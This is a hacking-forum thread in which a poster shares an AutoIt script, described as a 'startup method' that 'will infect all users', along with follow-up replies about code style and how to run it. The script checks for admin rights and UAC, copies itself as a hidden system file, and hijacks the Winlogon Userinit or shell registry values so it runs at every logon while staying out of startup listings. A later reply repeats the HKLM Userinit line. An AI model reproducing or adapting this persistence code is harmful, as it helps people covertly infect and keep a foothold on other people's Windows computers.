[spymare]

This method checks if the user is admin or not, if the user is admin, it will use "Userinit" it will be runned for all users, before doing that It will also check if UAC is enabled, if it is, it will use the reg key in HKCU called shell, that does not require admin rights.

So basicly this will infect all users if the user is admin, and if not the user is admin, it will infect the current user, this way it will also hide from startup. It's a quite unique startup method, Tested in windows xp and windows 7 x64, so it works on all the systems.

Code:

MsgBox(4096, "", "startup message.") $oWMIService = ObjGet("winmgmts:\\" & @ComputerName & "\root\cimv2") $colItems = $oWMIService.ExecQuery("Select * From Win32_Group Where LocalAccount = TRUE And SID = 'S-1-5-32-544'") For $oItem in $colItems Next if $oItem.Name = "administrators" Then Call("admin") Else call("notadmin") EndIf Func admin() $hklm = FileExists(@HomeDrive & "\file.exe") $hkcu = FileExists(@UserProfileDir & "\file.exe") If $hklm Or $hkcu Then Return Else EndIf Local $var = RegRead("HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System", "EnableLUA") $data = BinaryToString($var, 2) RegRead("HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System", "EnableLUA") If @error Then RegWrite("HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon", "Userinit", "REG_SZ", @WindowsDir & "\system32\Userinit.exe," & @HomeDrive & "\file.exe") ;for 64 bit ; if reg not found FileCopy(@ScriptFullPath, @HomeDrive & "\file.exe") FileSetAttrib(@HomeDrive & "\" & "file.exe", "+SH") ElseIf $data > '0' Then ;If UAC is enabled RegWrite("HKCU\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon", "shell", "REG_SZ", @UserProfileDir & "\file.exe" & ",explorer.exe") FileCopy(@ScriptFullPath, @UserProfileDir & "\file.exe") FileSetAttrib(@UserProfileDir & "\" & "file.exe", "+SH") ElseIf $data < '0' Then ;If UAC is disabled RegWrite("HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon", "Userinit", "REG_SZ", @WindowsDir & "\system32\Userinit.exe," & @HomeDrive & "\file.exe") ;for 64 bit ; if reg not found FileCopy(@ScriptFullPath, @HomeDrive & "\file.exe") FileSetAttrib(@HomeDrive & "\" & "file.exe", "+SH") EndIf EndFunc ;==>admin Func notadmin() $hklm = FileExists(@HomeDrive & "\file.exe") $hkcu = FileExists(@UserProfileDir & "\file.exe") If $hklm Or $hkcu Then Return Else FileCopy(@ScriptFullPath, @UserProfileDir & "\file.exe") FileSetAttrib(@UserProfileDir & "\" & "file.exe", "+SH") RegWrite("HKCU\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon", "shell", "REG_SZ", @UserProfileDir & "\file.exe" & ",explorer.exe") EndIf EndFunc ;==>notadmin

[1234hotmaster]

Did this need a new thread? XD

[spymare]

yup the other one was messy, this is tested alot of times, and works like it should

[Jacob]

Where is the format?! Make this prettier -.-

Also, don't Call() functions, just run them.

instead of

Call("_ButtFcukMcGee")


Do this

_ButtFcukMcGee()

[spymare]

you can just use "tidy" if you want format. and you have to call the function using call.

[elipsses12]

may i ask how to save it and run it??? thank you newbie here

[spymare]

download and install autoit.
right click on you desktop and make a new autoit script, copy & past the code, and run the script.
the script is actually very basic, but you should understand what it does, before using it

autoit can be downloaded here: http://www.autoitscript.com/site/autoit/downloads/

[killerOfCode]

Hm, interesting script...

How does it spread to admins if current user is not an admin?

[spymare]

RegWrite("HKLM64\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon", "Userinit", "REG_SZ", @WindowsDir & "\system32\Userinit.exe," & @HomeDrive & "\file.exe")

if the user is not admin, it will use the above key, and it will put the file in %homedrive% instead of %userprofiledir%, and by that, any account will run the file, even you create a new account.

[Jacob]

you have to call the function using call.

nonono.

I've made several things in au3, and never use system calls like that. Calling the function with proper parameters will be sufficient and be less trenious on the system.